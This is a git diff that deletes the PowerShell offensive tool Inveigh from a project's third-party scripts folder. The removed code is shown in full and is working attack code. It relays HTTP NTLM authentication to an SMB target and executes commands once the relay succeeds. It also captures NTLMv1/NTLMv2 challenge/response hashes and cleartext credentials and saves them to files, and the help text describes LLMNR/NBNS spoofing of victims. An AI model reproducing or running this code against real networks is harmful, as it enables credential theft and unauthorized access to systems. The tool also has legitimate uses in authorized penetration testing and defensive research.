$inveigh.request.RemoteEndpoint.Address + " at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address)]) - $inveigh.console_queue.Add("Grabbing challenge for relay from $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $SMBRelayTarget)]) - $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient - $SMB_relay_socket.Connect($SMBRelayTarget,"445") - - if(!$SMB_relay_socket.connected) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB relay target is not responding") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target is not responding")]) - $inveigh.SMB_relay_active_step = 0 - } - - if($inveigh.SMB_relay_active_step -eq 1) - { - $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes - $inveigh.SMB_relay_active_step = 2 - $SMB_relay_bytes = $SMB_relay_bytes[2..$SMB_relay_bytes.Length] - $SMB_user_ID = $SMB_relay_bytes[34..33] - $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes) - $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-","" - $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000") - $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2 - $SMB_domain_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes - $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)] - $SMB_target_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes - $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)] - $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)] - $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] - - $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00 + - $SMB_domain_length_offset_bytes + - 0x05,0x82,0x89,0xa2 + - $SMB_relay_NTLM_challenge + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + - $SMB_target_length_offset_bytes + - $SMB_relay_target_details - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes - $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $NTLM_challenge) - $inveigh.console_queue.Add("Received challenge $NTLM_challenge for relay from $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $SMBRelayTarget")]) - $inveigh.console_queue.Add("Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address)]) - $inveigh.SMB_relay_active_step = 3 - } - else - { - $NTLM = NTLMChallengeBase64 - } - - } - else - { - $NTLM = NTLMChallengeBase64 - } - - $inveigh.response.StatusCode = 401 - } - elseif ($HTTP_request_bytes[8] -eq 3) - { - $NTLM = 'NTLM' - $HTTP_NTLM_offset = $HTTP_request_bytes[24] - $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes - [String] $NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + '*' - $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) - $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) - - if($HTTP_NTLM_domain_length -eq 0) - { - $HTTP_NTLM_domain_string = '' - } - else - { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - } - - $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes - - if($HTTP_NTLM_length -eq 24) # NTLMv1 - { - $NTLM_type = "NTLMv1" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(48,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv1_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.NTLMv1_list.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } - - } - - if($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat) - { - $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) - } - - } - else # NTLMv2 - { - $NTLM_type = "NTLMv2" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(32,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv2_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.NTLMv2_list.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - } - - if ($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat) - { - $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address - } - - } - - $inveigh.response.StatusCode = 200 - $NTLM_challenge = '' - $HTTP_raw_url_output = $true - - if ($inveigh.SMB_relay -and $inveigh.SMB_relay_active_step -eq 3) - { - - if(!$SMBRelayUsernames -or $SMBRelayUsernames -contains $HTTP_NTLM_user_string -or $SMBRelayUsernames -contains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - { - - if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))) - { - - if($inveigh.SMBRelay_failed_list -notcontains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget") - { - - if($NTLM_type -eq 'NTLMv2') - { - $inveigh.console_queue.Add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")]) - $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID - $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.Length] - - if(!$SMB_relay_failed -and [System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq '00-00-00-00') - { - $inveigh.console_queue.Add("$HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) - $inveigh.SMB_relay_active_step = 4 - SMBRelayExecute $SMB_relay_socket $SMB_user_ID - } - else - { - $inveigh.console_queue.Add("$HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) - $inveigh.SMBRelay_failed_list.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget") - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - - } - else - { - $inveigh.console_queue.Add("NTLMv1 SMB relay not yet supported") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - - } - else - { - $inveigh.console_queue.Add("Aborting SMB relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - - } - else - { - $inveigh.console_queue.Add("Aborting SMB relay since $HTTP_NTLM_user_string appears to be a machine account") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - - } - else - { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on SMB relay username list") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - - } - - } - else - { - $NTLM = 'NTLM' - } - - } - - [Byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) - $inveigh.response.ContentLength64 = $HTTP_buffer.Length - $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) - $HTTP_stream = $inveigh.response.OutputStream - $HTTP_stream.Write($HTTP_buffer,0,$HTTP_buffer.Length) - $HTTP_stream.close() - } - - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() -} - -$control_relay_scriptblock = -{ - param ($RunTime) - - if($RunTime) - { - $control_timeout = New-Timespan -Minutes $RunTime - $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - while ($inveigh.relay_running) - { - - if($RunTime) - { - - if($control_stopwatch.Elapsed -ge $control_timeout) - { - - if($inveigh.HTTP_listener.IsListening) - { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - - $inveigh.console_queue.Add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) - Start-Sleep -m 5 - $inveigh.relay_running = $false - - if($inveigh.HTTPS) - { - & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.Find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] - $certificate_store.Remove($certificate) - $certificate_store.Close() - } - catch - { - - if($inveigh.status_output) - { - $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") - } - - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } - - } - - } - - $inveigh.HTTP = $false - $inveigh.HTTPS = $false - } - - } - - if($inveigh.file_output -and (!$inveigh.running -or !$inveigh.bruteforce_running)) - { - - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveRange(0,1) - } - - while($inveigh.cleartext_file_queue.Count -gt 0) - { - $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveRange(0,1) - } - - } - - Start-Sleep -m 5 - } - - } - -# HTTP/HTTPS Listener Startup function -function HTTPListener() -{ - $inveigh.HTTP_listener = New-Object System.Net.HttpListener - - if($inveigh.HTTP) - { - $inveigh.HTTP_listener.Prefixes.Add('http://*:80/') - } - - if($inveigh.HTTPS) - { - $inveigh.HTTP_listener.Prefixes.Add('https://*:443/') - } - - $inveigh.HTTP_listener.AuthenticationSchemes = "Anonymous" - $inveigh.HTTP_listener.Start() - $HTTP_runspace = [RunspaceFactory]::CreateRunspace() - $HTTP_runspace.Open() - $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $HTTP_powershell = [PowerShell]::Create() - $HTTP_powershell.Runspace = $HTTP_runspace - $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument( - $SMBRelayTarget).AddArgument($SMBRelayCommand).AddArgument($SMBRelayUsernames).AddArgument( - $SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument($WPADAuth) > $null - $HTTP_powershell.BeginInvoke() > $null -} - -# Control Relay Startup function -function ControlRelayLoop() -{ - $control_relay_runspace = [RunspaceFactory]::CreateRunspace() - $control_relay_runspace.Open() - $control_relay_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $control_relay_powershell = [PowerShell]::Create() - $control_relay_powershell.Runspace = $control_relay_runspace - $control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($RunTime) > $null - $control_relay_powershell.BeginInvoke() > $null -} - -# HTTP Server Start -if($inveigh.HTTP -or $inveigh.HTTPS) -{ - HTTPListener -} - -# Control Relay Loop Start -if($RunTime -or $inveigh.file_output) -{ - ControlRelayLoop -} - -if(!$inveigh.running -and $inveigh.console_output) -{ - - :console_loop while($inveigh.relay_running -and $inveigh.console_output) - { - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" - { - - if($inveigh.file_output) - { - Write-Warning $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveRange(0,1) - } - - "* for relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* local administrator *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - } - - } - - } - - if($inveigh.console_input) - { - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - } - - Start-Sleep -m 5 - } - -} - -} -#End Invoke-InveighRelay - -function Stop-Inveigh -{ - <# - .SYNOPSIS - Stop-Inveigh will stop all running Inveigh functions. - #> - - if($inveigh) - { - if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) - { - - if($inveigh.HTTP_listener.IsListening) - { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - - if($inveigh.bruteforce_running) - { - $inveigh.bruteforce_running = $false - Write-Output("$(Get-Date -format 's') - Attempting to stop HTTP listener") - $inveigh.HTTP_listener.server.blocking = $false - Start-Sleep -s 1 - $inveigh.HTTP_listener.server.Close() - Start-Sleep -s 1 - $inveigh.HTTP_listener.Stop() - Write-Output("Inveigh Brute Force exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Brute Force exited") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Brute Force exited" | Out-File $Inveigh.log_out_file -Append - } - - } - - if($inveigh.relay_running) - { - $inveigh.relay_running = $false - Write-Output("Inveigh Relay exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Relay exited" | Out-File $Inveigh.log_out_file -Append - } - - } - - if($inveigh.running) - { - $inveigh.running = $false - Write-Output("Inveigh exited at $(Get-Date -format 's')") - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh exited" | Out-File $Inveigh.log_out_file -Append - } - - } - - } - else - { - Write-Output("There are no running Inveigh functions") - } - - if($inveigh.HTTPS) - { - & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.Find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0] - $certificate_store.Remove($certificate) - $certificate_store.Close() - } - catch - { - Write-Output("SSL Certificate Deletion Error - Remove Manually") - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } - - } - } - - $inveigh.HTTP = $false - $inveigh.HTTPS = $false - } - else - { - Write-Output("There are no running Inveigh functions")|Out-Null - } - -} - -function Get-Inveigh -{ - <# - .SYNOPSIS - Get-Inveigh will display queued Inveigh console output. - #> - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" - { - - if($inveigh.file_output) - { - Write-Warning $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveRange(0,1) - } - - "* for relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* local administrator *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - } - - } - - } - -} - -function Get-InveighCleartext -{ - <# - .SYNOPSIS - Get-InveighCleartext will get all captured cleartext credentials. - - .PARAMETER Unique - Display only unique cleartext credentials. - #> - - param - ( - [parameter(Mandatory=$false)][Switch]$Unique, - [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter - ) - - if($Unique) - { - Write-Output $inveigh.cleartext_list | Get-Unique - } - else - { - Write-Output $inveigh.cleartext_list - } - -} - -function Get-InveighNTLMv1 -{ - <# - .SYNOPSIS - Get-InveighNTLMv1 will get captured NTLMv1 challenge/response hashes. - - .PARAMETER Unique - Display only the first captured challenge/response for each unique account. - - .PARAMETER Usernames - Display IP addresses and usernames for captured NTLMv2 challenge response hashes. - #> - - param - ( - [parameter(Mandatory=$false)][Switch]$Unique, - [parameter(Mandatory=$false)][Switch]$Usernames, - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter - ) - - if ($invalid_parameter) - { - throw "$($invalid_parameter) is not a valid parameter." - } - - if($Unique -and $Usernames) - { - throw "Cannot use -Unique with -Usernames." - } - - if($Unique) - { - $inveigh.NTLMv1_list.Sort() - - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) - { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) - - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) - { - Write-Output $unique_NTLMv1 - } - - $unique_NTLMv1_account_last = $unique_NTLMv1_account - } - } - elseif($Usernames) - { - Write-Output $inveigh.NTLMv1_username_list - } - else - { - Write-Output $inveigh.NTLMv1_list - } - -} - -function Get-InveighNTLMv2 -{ - <# - .SYNOPSIS - Get-InveighNTLMv2 will get captured NTLMv2 challenge/response hashes. - - .PARAMETER Unique - Display only the first captured challenge/response for each unique account. - - .PARAMETER Usernames - Display IP addresses and usernames for captured NTLMv2 challenge response hashes. - #> - - param - ( - [parameter(Mandatory=$false)][Switch]$Unique, - [parameter(Mandatory=$false)][Switch]$Usernames, - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter - ) - - if($invalid_parameter) - { - throw "$($invalid_parameter) is not a valid parameter." - } - - if($Unique -and $Usernames) - { - throw "Cannot use -Unique with -Usernames." - } - - if($Unique) - { - $inveigh.NTLMv2_list.Sort() - - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) - { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) - - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) - { - Write-Output $unique_NTLMv2 - } - - $unique_NTLMv2_account_last = $unique_NTLMv2_account - } - } - elseif($Usernames) - { - Write-Output $inveigh.NTLMv2_username_list - } - else - { - Write-Output $inveigh.NTLMv2_list - } - -} - -function Get-InveighLog -{ - <# - .SYNOPSIS - Get-InveighLog will get log entries. - #> - - Write-Output $inveigh.log -} - -function Watch-Inveigh -{ - <# - .SYNOPSIS - Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. - #> - - if($inveigh.tool -ne 1) - { - - if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) - { - Write-Output "Press any key to stop real time console output" - $inveigh.console_output = $true - - :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) - { - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" - { - - if($inveigh.file_output) - { - Write-Warning $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveRange(0,1) - } - - "* for relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* local administrator *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - } - - } - - } - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - Start-Sleep -m 5 - } - - } - else - { - Write-Output "Inveigh isn't running" - } - - } - else - { - Write-Output "Watch-Inveigh cannot be used with current external tool selection" - } - -} - -function Clear-Inveigh -{ - <# - .SYNOPSIS - Clear-Inveigh will clear Inveigh data from memory. - #> - - if($inveigh) - { - - if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.bruteforce_running) - { - Remove-Variable inveigh -scope global - Write-Output "Inveigh data has been cleared from memory" - } - else - { - Write-Output "Run Stop-Inveigh before running Clear-Inveigh" - } - - } - -} diff --git a/scripts/3rdparty/Inveigh.ps1 b/scripts/3rdparty/Inveigh.ps1 deleted file mode 100644 index 51a27f8..0000000 --- a/scripts/3rdparty/Inveigh.ps1 +++ /dev/null @@ -1,2451 +0,0 @@ -function Invoke-Inveigh -{ -<# -.SYNOPSIS -Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP/HTTPS/SMB. - -.DESCRIPTION -Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with the following features: - - IPv4 LLMNR/NBNS spoofer with granular control - NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/SMB - Basic auth cleartext credential capture over HTTP/HTTPS - WPAD server capable of hosting a basic or custom wpad.dat file - HTTP/HTTPS server capable of hosting limited content - Granular control of console and file output - Run time control - -.PARAMETER IP -Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if -the SpooferIP parameter is not set. - -.PARAMETER SpooferIP -Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a -system other than the Inveigh host. - -.PARAMETER SpooferHostsReply -Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferHostsIgnore -Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferIPsReply -Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferIPsIgnore -Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferRepeat -Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user -challenge/response has been captured. - -.PARAMETER LLMNR -Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. - -.PARAMETER LLMNRTTL -Default = 30 Seconds: Specify a custom LLMNR TTL in seconds for the response packet. - -.PARAMETER NBNS -Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. - -.PARAMETER NBNSTTL -Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. - -.PARAMETER NBNSTypes -Default = 00,20: Comma separated list of NBNS types to spoof. 